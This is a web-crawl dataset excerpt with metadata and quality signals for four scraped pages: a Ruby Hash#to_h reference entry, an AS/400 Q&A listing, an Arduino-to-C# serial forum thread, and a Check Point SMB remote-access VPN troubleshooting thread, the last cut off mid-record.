id
int64 | text
string | metadata
dict | line_start_n_end_idx
dict | quality_signals
dict | eai_taxonomy
dict | pid
string |
|---|---|---|---|---|---|---|
4,007,066,416,981,693,400 | るりまサーチ
最速Rubyリファレンスマニュアル検索！
6件ヒット [1-6件を表示] （0.025秒）
トップページ > クラス:Hash[x] > クエリ:new[x] > クエリ:to_h[x]
別のキーワード
1. _builtin to_s
2. openssl to_der
3. openssl to_s
4. openssl to_pem
5. _builtin to_a
ライブラリ
検索結果
Hash#to_h -> self | Hash (18132.0)
self を返します。Hash クラスのサブクラスから呼び出した場合は self を Hash オブジェクトに変換します。
...す。Hash クラスのサブクラスから呼び出した場合は
self を Hash オブジェクトに変換します。
例:
hash
= {}
p hash.to_h # => {}
p hash.to_h == hash # => true
class MyHash < Hash;end
my_hash = MyHash.new
p my_hash.to_h # => {}
p my_hash.class...
...# => MyHash
p my_hash.to_h.class # => Hash... | {
"url": "http://rurema.clear-code.com/class:Hash/query:new/query:to_h/",
"source_domain": "rurema.clear-code.com",
"snapshot_id": "crawl=CC-MAIN-2018-34",
"warc_metadata": {
"Content-Length": "10478",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SRXS5CVHVFPXOI242K6RVTR4PPVBCCTR",
"WARC-Concurrent-To": "<urn:uuid:5c44a109-830b-4ec3-b6ee-40aef17c994b>",
"WARC-Date": "2018-08-15T08:38:41Z",
"WARC-IP-Address": "133.130.99.16",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:AA7GB6GGTYPWKO3GOHPPR7SR426CP47I",
"WARC-Record-ID": "<urn:uuid:20045ae0-bf37-468b-a309-46ae5cafa44f>",
"WARC-Target-URI": "http://rurema.clear-code.com/class:Hash/query:new/query:to_h/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2a7ae2e3-a06e-49d0-85a0-940dacde1dc8>"
},
"warc_info": "isPartOf: CC-MAIN-2018-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-166-238-83.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
8,
29,
54,
102,
103,
111,
112,
131,
151,
169,
189,
208,
209,
215,
216,
221,
222,
257,
258,
320,
321,
351,
377,
378,
381,
386,
391,
411,
441,
442,
466,
487,
510,
529,
544
],
"line_end_idx": [
7,
8,
29,
54,
102,
103,
111,
112,
131,
151,
169,
189,
208,
209,
215,
216,
221,
222,
257,
258,
320,
321,
351,
377,
378,
381,
386,
391,
411,
441,
442,
466,
487,
510,
529,
544,
577
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 577,
"ccnet_original_nlines": 36,
"rps_doc_curly_bracket": 0.010398609563708305,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.09459459036588669,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0.054054051637649536,
"rps_doc_frac_no_alph_words": 0.6216216087341309,
"rps_doc_frac_unique_words": 0.6461538672447205,
"rps_doc_mean_word_length": 6.030769348144531,
"rps_doc_num_sentences": 17,
"rps_doc_symbol_to_word_ratio": 0.06756757199764252,
"rps_doc_unigram_entropy": 3.5411272048950195,
"rps_doc_word_count": 65,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.22959184646606445,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.12755101919174194,
"rps_doc_frac_chars_top_3gram": 0.13265305757522583,
"rps_doc_frac_chars_top_4gram": 0.15306122601032257,
"rps_doc_books_importance": -73.05889892578125,
"rps_doc_books_importance_length_correction": -87.37770080566406,
"rps_doc_openwebtext_importance": -29.52653694152832,
"rps_doc_openwebtext_importance_length_correction": -43.8453369140625,
"rps_doc_wikipedia_importance": -20.68321990966797,
"rps_doc_wikipedia_importance_length_correction": -35.00202178955078
},
"fasttext": {
"dclm": 0.9856741428375244,
"english": 0.01348135992884636,
"fineweb_edu_approx": 1.495885968208313,
"eai_general_math": 0.4273812770843506,
"eai_open_web_math": 0.16893643140792847,
"eai_web_code": 0.5059373378753662
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
8,754,802,208,755,854,000 | • Error CPF4208 in OVRPRTF
Hi! Im getting this error message while doing OVRPRTF. SAMLETT is a RPG program. SAMLEV is printer file. Message . . . . : Error message CPF4208 appeared during OPEN (C G D F). Cause . . . . . : RPG procedure SAMLETT in program L1ASRCT/SAMLETT received the message CPF4208 at statement 5...
Sureyz2,655 pointsBadges:
• How can I see all SRC’s when calling QWCCRTEC
When I run QWCCRTEC the QPSRVDMP only shows C900 SRC's between PWRDWN END and IPL START. How can I see ALL SRC's
graleigh5 pointsBadges:
• RTVDIRINF giving CPF1ED7 when running in batch CL program…
I want to run the RTVDIRINF command in a batch CL program. However it keeps failing with CPF1ED7. I'm specifying a file prefix & library on the command and it's running under V6R1M0.The command executes OK when ran from the command line with the same parms.Anyone have any ideas as to what's...
jontheblue40 pointsBadges:
• AS/400 monitoring features
Are there built in features in AS/400 to get server stats like CPU, Memory etc while batch jobs running in AS/400? If not is there any freeware to do this?
shanthi13055 pointsBadges:
• Operating Console
Hi I have operations console running on a laptop which is directly connected to my I-Series. All runs okay until the laptop powers down(for variety of reasons), when i power it on again it will not connect to the I-Series without doing an IPL of the I-Series. I get the message "Connecting Console"...
Hazermark0 pointsBadges:
• Is there a free RPG Editor for Windows 7?
I work for a small company that can't really afford to implement WDSC 7.0.We have the free 6.1 version. But, it doesn't work on Windows 7. Any free alternatives?
thedaveeffect10 pointsBadges:
• Use of LOB Pointer within specific entry data of QjoRetrieveJournalEntries
Hello, I want to read data using the LOB pointer retrieves in journal entry. I see the pointer in the layout of the LOB columns but when I convert the 16 bytes into pointer variable (16 bytes holding a pointer to the LOB data according to documentation), the converted pointer is null and unusable....
gincap5 pointsBadges:
• Read the particular member in PF at Runtime
How will I read a particular member in one PF in my RPGLE program in F spec dynamically I want give the member?
Maali20 pointsBadges:
• Searching records in a subfile on COBOL ILE
Hi all, I' just new in learning COBOL with subfiles. My COBOL program can display records in subfile but I wanted to search the name within the subfile records. Can someone post a sample code or can help me with my problem. Below is the screen looks like: SEARCH: _______ (to search the name in the...
Radycal45 pointsBadges:
• XLS FILE need to be pulled into IFS using FTP from file server system
How can we upload an XLS file to AS/400 IFS folder using FTP from file server system? We already tried doing using Binary Transfer and it didn't work. XLS data is ASCII file transfer mode didn't work.
AS400PERFORMACE60 pointsBadges:
• AS/400 and iSeries
RSFOSTER5 pointsBadges:
• Compilation parameters in AS400
How to display compilation attributes of a RPGLE object?
potterharry3015 pointsBadges:
• iSeries upgrade (V5R3-V7) what changes on the Client access emulator and its effect
Hi, Is there a major change on Client access emulator? Like, should I may have problems when accessing the iSeries server V7 using my old Client access emulator version 5.7 and 5.9 (DISPLAY and PRINTER emulation)? iSeries installer V7 - client access emulator version 6 iSeries installer V6R1 -...
Jedlasquite360 pointsBadges:
• Set up Zebra ZP505 as local printer for AS/400 printer session
Does anybody have experience to set up zp505 as a local printer for printer session AS/400? What IBM model did you use? Thanks
Larisagas265 pointsBadges:
• Need to find everyplace a file is being used.
I have a file that we are adding a field. Need to find every program the file is being used to know which ones need to be recompiler. Would be nice to do one big search of the entire library.
nitzinger385 pointsBadges:
• Upgrading AS/400 hardware
We want to upgrade AS/400 hardware. How can we find out what model shall we upgrade to?
Msatbh85 pointsBadges:
• What’s the future of AS/400?
Hi guys, I've been working in AS/400 for the past 5 years in a company in India and I wanted to switch my company but when I looked into the market, there are very few openings in this technology. I'm uncertain and worried about my future in this technology. Can anyone guide me about any other...
Luvi0735 pointsBadges:
• How can I remove hard disk from AS/400 server model 800?
How can I remove a hard disk from an AS/400 server model 800?
Afzal8350 pointsBadges:
• AS/400 error code: 9402-436
What is meant by "9402-436" error codes in AS/400?
HenryGarcia5 pointsBadges:
• AS/400 TCP/IP: Port numbers
What are the different port (numbers) used by AS/400 for remote connection using HTTP connection.
Naveens140 pointsBadges:
Forgot Password
No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.
Your password has been sent to:
To follow this tag...
There was an error processing your information. Please try again later.
REGISTER or login:
Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy
Thanks! We'll email you when relevant content is added and updated.
Following | {
"url": "http://itknowledgeexchange.techtarget.com/itanswers/tag/as400/page/93/",
"source_domain": "itknowledgeexchange.techtarget.com",
"snapshot_id": "crawl=CC-MAIN-2015-48",
"warc_metadata": {
"Content-Length": "139223",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IJMUXCAPWJCFY4VL33CELLRPBGZEMV2W",
"WARC-Concurrent-To": "<urn:uuid:e2b0bef4-4bf0-44da-8c97-65e1dbbaa57f>",
"WARC-Date": "2015-11-27T19:08:14Z",
"WARC-IP-Address": "206.19.49.161",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:LVZ6TOSOFHSIG4NGE2KREJVZDXSMZHBP",
"WARC-Record-ID": "<urn:uuid:420bc088-b00b-4d90-8a49-bfa8ef8ed4f1>",
"WARC-Target-URI": "http://itknowledgeexchange.techtarget.com/itanswers/tag/as400/page/93/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a0cd221a-b1d4-420b-8a3a-0dc8044f053a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-71-132-137.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for Nov 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
29,
30,
329,
330,
360,
410,
411,
528,
529,
557,
620,
621,
920,
921,
952,
983,
984,
1144,
1145,
1176,
1198,
1199,
1505,
1506,
1535,
1581,
1582,
1748,
1749,
1783,
1862,
1863,
2169,
2170,
2196,
2244,
2245,
2361,
2362,
2388,
2436,
2437,
2743,
2744,
2772,
2846,
2847,
3052,
3053,
3089,
3112,
3113,
3141,
3177,
3178,
3239,
3240,
3274,
3362,
3363,
3667,
3668,
3701,
3768,
3769,
3900,
3901,
3932,
3982,
3983,
4180,
4181,
4212,
4242,
4243,
4335,
4336,
4363,
4396,
4397,
4699,
4700,
4727,
4788,
4789,
4855,
4856,
4884,
4916,
4917,
4972,
4973,
5004,
5036,
5037,
5139,
5140,
5169,
5170,
5186,
5187,
5284,
5285,
5317,
5318,
5340,
5341,
5413,
5414,
5433,
5434,
5451,
5670,
5671,
5739,
5740
],
"line_end_idx": [
29,
30,
329,
330,
360,
410,
411,
528,
529,
557,
620,
621,
920,
921,
952,
983,
984,
1144,
1145,
1176,
1198,
1199,
1505,
1506,
1535,
1581,
1582,
1748,
1749,
1783,
1862,
1863,
2169,
2170,
2196,
2244,
2245,
2361,
2362,
2388,
2436,
2437,
2743,
2744,
2772,
2846,
2847,
3052,
3053,
3089,
3112,
3113,
3141,
3177,
3178,
3239,
3240,
3274,
3362,
3363,
3667,
3668,
3701,
3768,
3769,
3900,
3901,
3932,
3982,
3983,
4180,
4181,
4212,
4242,
4243,
4335,
4336,
4363,
4396,
4397,
4699,
4700,
4727,
4788,
4789,
4855,
4856,
4884,
4916,
4917,
4972,
4973,
5004,
5036,
5037,
5139,
5140,
5169,
5170,
5186,
5187,
5284,
5285,
5317,
5318,
5340,
5341,
5413,
5414,
5433,
5434,
5451,
5670,
5671,
5739,
5740,
5749
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5749,
"ccnet_original_nlines": 116,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3298429250717163,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.1073298379778862,
"rps_doc_frac_lines_end_with_ellipsis": 0.07692307978868484,
"rps_doc_frac_no_alph_words": 0.2041884809732437,
"rps_doc_frac_unique_words": 0.41956523060798645,
"rps_doc_mean_word_length": 4.742391109466553,
"rps_doc_num_sentences": 70,
"rps_doc_symbol_to_word_ratio": 0.007853399962186813,
"rps_doc_unigram_entropy": 5.428006649017334,
"rps_doc_word_count": 920,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.02635801024734974,
"rps_doc_frac_chars_dupe_6grams": 0.01283521018922329,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.056612420827150345,
"rps_doc_frac_chars_top_3gram": 0.006417599972337484,
"rps_doc_frac_chars_top_4gram": 0.008709600195288658,
"rps_doc_books_importance": -440.94464111328125,
"rps_doc_books_importance_length_correction": -440.94464111328125,
"rps_doc_openwebtext_importance": -221.3325958251953,
"rps_doc_openwebtext_importance_length_correction": -221.3325958251953,
"rps_doc_wikipedia_importance": -171.0900115966797,
"rps_doc_wikipedia_importance_length_correction": -171.0900115966797
},
"fasttext": {
"dclm": 0.025348899886012077,
"english": 0.887586772441864,
"fineweb_edu_approx": 1.3091001510620117,
"eai_general_math": 0.10970413684844971,
"eai_open_web_math": 0.09210968017578125,
"eai_web_code": 0.05276567116379738
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
4,896,302,068,683,315,000 | Go Down
Topic: Comunicazione seriale Arduino-C# (Read 2250 times) previous topic - next topic
Anispir
Ciao a tutti. Premetto che sono nuovo del mondo Arduino e fin ora mi sono limitato ai progetti di base (led, blink, fade ecc).
Ho collegato un potenziometro ad una Analogic In e riesco a visualizzare correttamente i valori da 0 a 1023 sul serial monitor.
Utilizzando il C# vorrei visualizzare questo valore su un programmino esterno al IDE Arduino (anche un semplice form con il numero per iniziare).
Googolando un po ho trovato pezzi di codice:
http://www.arduino.cc/playground/Interfacing/Csharp
http://www.ozhan.org/index.php?kat_id=19
ma non ci capisco molto pur avendo qualche nozione di C.
Suggerimenti di ogni tipo sono ben accetti ;)
Grazie, Anispir
lestofante
cosa non capisci? il codice nel playground mi sembra basico e completo. Hai errori o non capisci quale parte di codice?
Guida per principianti http://playground.arduino.cc/Italiano/newbie
Unoffical Telegram group https://t.me/genuino
Anispir
Per ora ho risolto così:
serialPort1.PortName="COM4";
serialPort1.BaudRate=9600;
serialPort1.DataBits=8;
serialPort1.Parity=Parity.None;
serialPort1.StopBits=StopBits.One;
serialPort1.Open();
string data = serialPort1.ReadLine();
serialPort1.Close();
textBox1.Text = data;
Ora cerco di far aggiornare in automatico la textbox ogni tot secondi ma sembra non funzionare.
Aggiungendo un ciclo for o while non visualizza il valore =(
Grazie comunque!
lestofante
in java le texbox non sempre può bastare aggiornare il valore. dovresti anche assicurarti che il componente venga ridisegnato. facci caso, se muovi una fiunestra di solito il contenuto viene refreshato. se così il valore diventa giusto allora nel tuo "loop" sul pc ricordati di chiarare una funzione stile repaint();
però quì di sicuro fai fatica a trovare aiuto su queste cose, dovresti provare sul forum ufficiale dell'interfaccia grafica che stai usando
Guida per principianti http://playground.arduino.cc/Italiano/newbie
Unoffical Telegram group https://t.me/genuino
Go Up
| {
"url": "http://forum.arduino.cc/index.php?PHPSESSID=shkm15imo4ho61tcvu18e7o5k3&topic=69213.msg512510",
"source_domain": "forum.arduino.cc",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "26138",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TXZZAG4WN6J3EKARGT44ESCNMBRPMWRP",
"WARC-Concurrent-To": "<urn:uuid:90727c89-ad72-47b6-86a6-2da3e48eb2ff>",
"WARC-Date": "2018-12-11T15:51:59Z",
"WARC-IP-Address": "54.167.252.43",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SLYYZFEPWJ2THUT5YJJ3HT22RHJFNUQF",
"WARC-Record-ID": "<urn:uuid:9cef00a8-0d73-450b-b76b-326729ff2383>",
"WARC-Target-URI": "http://forum.arduino.cc/index.php?PHPSESSID=shkm15imo4ho61tcvu18e7o5k3&topic=69213.msg512510",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2ce44d5d-c6a8-4640-ac4d-f489fdaa45ca>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-148-6-181.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
8,
9,
95,
96,
104,
105,
232,
233,
361,
507,
552,
604,
645,
646,
703,
750,
751,
767,
768,
779,
780,
900,
968,
1014,
1015,
1023,
1024,
1049,
1050,
1103,
1144,
1177,
1218,
1262,
1291,
1338,
1368,
1399,
1400,
1496,
1558,
1575,
1576,
1587,
1588,
1905,
1906,
2046,
2114,
2160,
2161,
2167
],
"line_end_idx": [
8,
9,
95,
96,
104,
105,
232,
233,
361,
507,
552,
604,
645,
646,
703,
750,
751,
767,
768,
779,
780,
900,
968,
1014,
1015,
1023,
1024,
1049,
1050,
1103,
1144,
1177,
1218,
1262,
1291,
1338,
1368,
1399,
1400,
1496,
1558,
1575,
1576,
1587,
1588,
1905,
1906,
2046,
2114,
2160,
2161,
2167,
2168
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2168,
"ccnet_original_nlines": 52,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.08292683213949203,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012195119634270668,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2365853637456894,
"rps_doc_frac_unique_words": 0.6985294222831726,
"rps_doc_mean_word_length": 6.095588207244873,
"rps_doc_num_sentences": 37,
"rps_doc_symbol_to_word_ratio": 0.004878050182014704,
"rps_doc_unigram_entropy": 5.070772647857666,
"rps_doc_word_count": 272,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.11338963359594345,
"rps_doc_frac_chars_dupe_6grams": 0.11338963359594345,
"rps_doc_frac_chars_dupe_7grams": 0.11338963359594345,
"rps_doc_frac_chars_dupe_8grams": 0.11338963359594345,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.014475270174443722,
"rps_doc_frac_chars_top_3gram": 0.02412544935941696,
"rps_doc_frac_chars_top_4gram": 0.0687575414776802,
"rps_doc_books_importance": -198.3525390625,
"rps_doc_books_importance_length_correction": -198.3525390625,
"rps_doc_openwebtext_importance": -117.83525085449219,
"rps_doc_openwebtext_importance_length_correction": -117.83525085449219,
"rps_doc_wikipedia_importance": -104.58438110351562,
"rps_doc_wikipedia_importance_length_correction": -104.58438110351562
},
"fasttext": {
"dclm": 0.5034944415092468,
"english": 0.008517780341207981,
"fineweb_edu_approx": 1.5882474184036255,
"eai_general_math": -0.0000021500000002561137,
"eai_open_web_math": 0.5773591995239258,
"eai_web_code": 0.8295518159866333
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285636",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-2,269,062,545,704,776,400 | Create a Post
cancel
Showing results for
Search instead for
Did you mean:
Alluka
Contributor
My first VPN with checkpoint technology
Good afternoon. I'm trying to configure my first VPN with checkpoint technology, but I can't do it.
I want to enter my local home network through the internet through a VPN Check Point 600 Appliance Version:R77.20.80
I wrote my Public IP address assigned by my ISP,
Select option Route all traffic through this site.
When I do the VPN connection test, it does not pass, what is the reason why the test does not pass?
What am I doing wrong?
can you help me please ❤️
MyFirstVPN.pngError.png
12 Replies
PhoneBoy
Admin
Admin
The "site" you are attempting to create is the remote end of a site-to-site VPN.
Which means you wouldn't be entering your public IP here, but the public IP of the remote end.
What is the remote end of the VPN in this case?
Alluka
Contributor
Excuse me but I did not understand you, I want to connect to my local network with an VPN from my computer using internet, through Check Point 600 Device version: R77.20.80... I looked in the documentation but I don't see any manual for R77.20.80. that you configure the equipment, in addition the pdf documentation is done through executable software or from the terminal, but there is a manual from the web UI.
Can you please guide me, in which menu is the VPN configured? Am I in the wrong menu? What is the menu to configure the VPN?
HristoGrigorov
If I get it right, what you need to configure is Remote Access and you are trying to configure Site-to-Site VPN.
Alluka
Contributor
@HristoGrigorov
@PhoneBoy
Thank for reply
I am following this guide
SMB Appliances - How to connect to the office using Check Point Remote Access (VPN) clients?
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solut...
Solution
Download and Install
1. Download and run the latest installation file. Refer to the Remote Access (VPN) Clients product page.
For more information on Check Point Remote Access Solutions, see sk67820.
2. During installation, select Endpoint Security VPN
3. Complete installation and reboot.
4. For more operating systems and versions, go to Remote Access (VPN) Clients product page.
Configure
1. Right-click the product notification icon and click on VPN Options.
2. On the Sites tab, click New - the Site Wizard will start.
3. Click Next.
4. Enter the IP address of the SMB Appliance in your organization, given to you by your administrator, and click Next.
5. Choose Authentication method Username and Password.
Connect
1. Right-click the product notification icon and click on Connect.
2. Enter username and password (consult your administrator if you do not know them) and click Connect
USER
Client on Windows:
what am I doing wrong ? please help me.
HristoGrigorov
Try to open in a browser - https://10.20.30.40
Alluka
Contributor
I entered that IP address in the browser.
The checkpoint Firewall Next Generation Check Point 600 Appliance device page opens
addresss.png
HristoGrigorov
This is the admin interface and not remote access one. It does seem like the appliance does not have static Internet address?
PhoneBoy
Admin
Admin
Shouldn’t you use the public address (the 200 one) here?
The 10 address is a private address that won’t be reachable from the Internet.
Alluka
Contributor
No, currently my ISP (Internet service provider) does not offer me a static Internet address, but a dynamic IP address is not a problem, I will pay for a DNS service with my own domain
Before purchasing a DNS service I want to configure my Firewall with VPN.
I am not an expert in networks and computer security, but I have basic knowledge, I know a little about this topic.
I am in the menu, device> Routing.
I don't understand what this routing table works for, or what it does
Routing: View the routing table and configure manual routing rules
IPv4 Routing Table
routing.png
To see my public IP address I enter the website whatismyip.com I currently have "190.1.145.22"
When I type this IP address in the browser, I can enter my ISP's rounter.
PS: for security measures this is not my real ip, it is an example. is 190.xx.xx.xx
I am thinking that the device has a bad configuration?
0 Kudos
HristoGrigorov
You seem to have private IP (10.20.30.1) assigned to the Internet connection at the moment. That will not work for remote access. You need to reconfigure your WAN interface so that it is assigned public IP either statically or dynamically. Then you can use some free DDNS service to always have the current public IP assigned to a hostname. Your own DNS will likely not help because you will need to update that IP manually every time it changes.
Alluka
Contributor
I'm so sorry. I did not want to put the real IP addresses for security measures but I need to configure this device.
I don't know if the correct term is private ip but this address is from my DHCP ISP's rounter 10.10.10.1
ISP's Rounter
DHCP
10.10.10.1
CheckPoint
DHCP
10.0.0.1
This is the network diagram, how my network is structured
3 (4).png
router.png
IPRouting.png
Do I need to reconfigure my WAN interface?
PD: Post Edited press F5 🙂
0 Kudos
HristoGrigorov
You need to either assign public IP on the CheckPoint device or setup NAT from your border router to CheckPoint appliance (TCP/443 and UDP/4500).
0 Kudos
Leaderboard
Epsum factorial non deposit quid pro quo hic escorol.
Upcoming Events
CheckMates Events | {
"url": "https://community.checkpoint.com:443/t5/SMB-Gateways-Spark/My-first-VPN-with-checkpoint-technology/m-p/94651#M4063",
"source_domain": "community.checkpoint.com:443",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "612401",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GOUBRPTS4TT77ZSYVIA6CCPQE35XKCS2",
"WARC-Concurrent-To": "<urn:uuid:8aa3d636-996a-47bf-a534-e04089ece4e7>",
"WARC-Date": "2024-05-29T05:36:40Z",
"WARC-IP-Address": "3.162.125.7",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KOSSPBOWOTEBESKBNNVWYU47OJ4F4OGH",
